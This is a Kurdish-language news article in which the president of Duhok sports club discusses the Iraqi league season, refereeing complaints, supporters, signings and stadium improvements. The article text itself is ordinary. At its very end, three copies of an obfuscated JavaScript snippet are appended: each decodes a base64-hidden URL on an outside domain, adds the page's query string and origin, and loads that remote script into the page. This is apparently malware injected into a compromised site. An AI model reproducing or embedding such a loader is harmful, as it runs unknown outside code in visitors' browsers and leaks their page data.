د. عەبدوللا جەلال: بۆ وەرزێ بهێت دهۆك دێ هژمارەكا ب زەحمەت و هەڤڕك بیت
د دیدارەكێ دا سەرۆكێ یانەیا دهۆك یا وەرزشی دیار كر وەرزێ ئەڤ سالە هەڤڕكی ل سەر دەستڤە ئینانا ناسناڤێ خولا ستێرێن ئیراقێ یا یێ ب زەحمەت بوو لێ بۆ وەرزێ بهێت دهۆك دێ هژمارەكا ب زەحمەت و هەڤڕك بیت و جەماوەرێ یانەیا دهۆك باشترین پشتەڤانێن یانەیێ بوون د خولێ دا.
زێدەتر د. عەبدوللا جەلال بۆ رۆژنامەیا ئەڤرۆ گۆت: وەرزێ ئە لە یا خولا ستێرێن ئیراقێ گەلەك باشتر بوو ژ وەرزێ بوری و ئەگەر ژی پشتی گرێبەستا فیدارسیۆنا فوتبۆلا ئیراقێ دگەل دەستەیا لالیگا یا ئسپانی ب هیڤینە بەر ب باشتر بچیت، لێ لیستە و ژڤان و دەمێن یاریان كارتیكرنەكا نەرێنی ل سەر ئاستێ یاریزانان كر كو ئێك ژ ئەگەرێن لاوازبوونا ئاستێ وان بوو، نموونە یانەیا دهۆك گەلەك هاتن و چوون دناڤبەرا پارێزگەهان دا دكر د ماوەیێ سێ یان پێنج رۆژان جارەكێ كو گەهشتە وێ یەكێ هنگاڤتن ژی دناڤ رێزێن تیما مە پەیدابن و كارتیكرن ل سەر ئانجامان كر، ب هیڤی نە بۆ وەرزێ بهێت رۆزنامەكا رێكخستی هەبیت چو كارتیكرن ل سەر تیمێن پشكدار ەكەت، لێ گەشبینم بۆ وەرزێ بهێت یانەیا دهۆك دێ باشتر و ب هێزتر ڤەگەڕیت و بیتە هژمارەكا ب زەحمەت و هەڤڕك د خولێ دا، بۆ ڤێ یەكێ ژی دێ بزاڤێ كەین باشترین یاریزانێن پیشەكار و ڕەڤەندا كورد و ئیراقی ژ دەرڤە دناڤ رێزێن تیمێ دا زێدەبكەین ژبەركو وەرزێ بهێت ئارمانجێن مە مەزنترن و یانەیا دهۆك پێشتر ناسناڤێ خولا ئیراقێ ب دەستڤە ئینایە و دوور نینە جارەكا دی ژی ب دەستڤە بینت.
ژلایەكێ دیڤە سەرۆكێ یانەیا دهۆكێ پەسنا جەماوەرێ تیمێ كر و گۆت: پشتەڤانێن یانەیا دهۆك ئێك ژ باشترین جەماوەر د خولا وەرزێ ئەڤ سالە داهاتبوونە دیتن و خالەكا گرنگ یا یانەیێ بوون ەرباری هندەك ئاریشەیێن كێم وێنە ب ناڤێ پشتەڤانێن دهۆكێ دهاتە دیتن لێ جەماوەرێ دهۆكێ ب گشتی رەوشەنبیر و وەفادارن بۆ یانە و ناڤێ باژێرێ خوە، هەرچەندە ژبەر خەلەتیێن چەند دادڤانان مە سكالا ل فیدراسیۆنا فوتبۆلا ئیراقێ تۆماردكر ژبەركو هندەك بڕیارێن وان یێن نە دروست بوونە ئەگەرێ خوسارەتییا تیما مە هەرچەندە چو بەرسڤێن ئەرێنی نەبوون، سەرباری دادڤان ژی مرۆڤە و تووشی خەلەتییان دبیت و پشكەكە ژ یاریێ، لێ ئەم و چەند یانەیان تووشی خەلەتیێن دادڤانێن ڤارێ بووینە و كارتیكرنا نەرێنی ژی هەبوویە، د قۆناغا دویێ دا باشتر لێهاتن پشتی خولێن ب هێزكرنێ هاتینە رێكخستن.
ل دۆر پێنگاڤێن وان یێن داهاتی بۆ وەرزێ نوو ناڤهاتی گۆت: یاریگەها مە ئێك ژ باشترین یاریگەهێن ئیراقێ یە لەوما كارەكێ باش دهێتە كرن ژبۆ گوهۆڕین و پێشئێخستنا ژێرخانەیا وەرزشی یا یانەیێ ژ وانا گوهۆڕینا پەلۆكێن یاریگەهێ و جهێ غاردانێ و یاریگەها لاوەكی، دیسان مە گرێبەستا سێ سالان یا چاڤدێری هەیە گەشبینم د دەمەكێ نێزیك دا یانەیا دهۆك دێ كارەكێ باش بۆ وەبەرهێنانا ب هێز كەت، ب هیڤی نە ئاریشەیا چار ملیار دینارێن پشتەڤانیێ یا سەرۆك وەزیرێن ئیراقێ بۆ یانەیێن كوردستانێ چارەسەربكەت بێ جوداهی بەرانبەر یانەیێن دی یێن ئیراقی، هەروەان پا دایە راهێنەرەكێ بیانی بۆ تیمێن ژیێن جودا بینن و مە هەڤكاری دگەل دو زانكۆیێن باژێرێ دهۆكێ دا هەیە ژبۆ بەرهەڤكرنا خوەبەخشان بۆ هەر قارەمانیەكا مەزن وەكو مۆندیالا جیهانی یان ژی كۆپا ئاسیا كو ل دووڤ پلان و بەرنامەیێن رێكحستی كاربكەن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
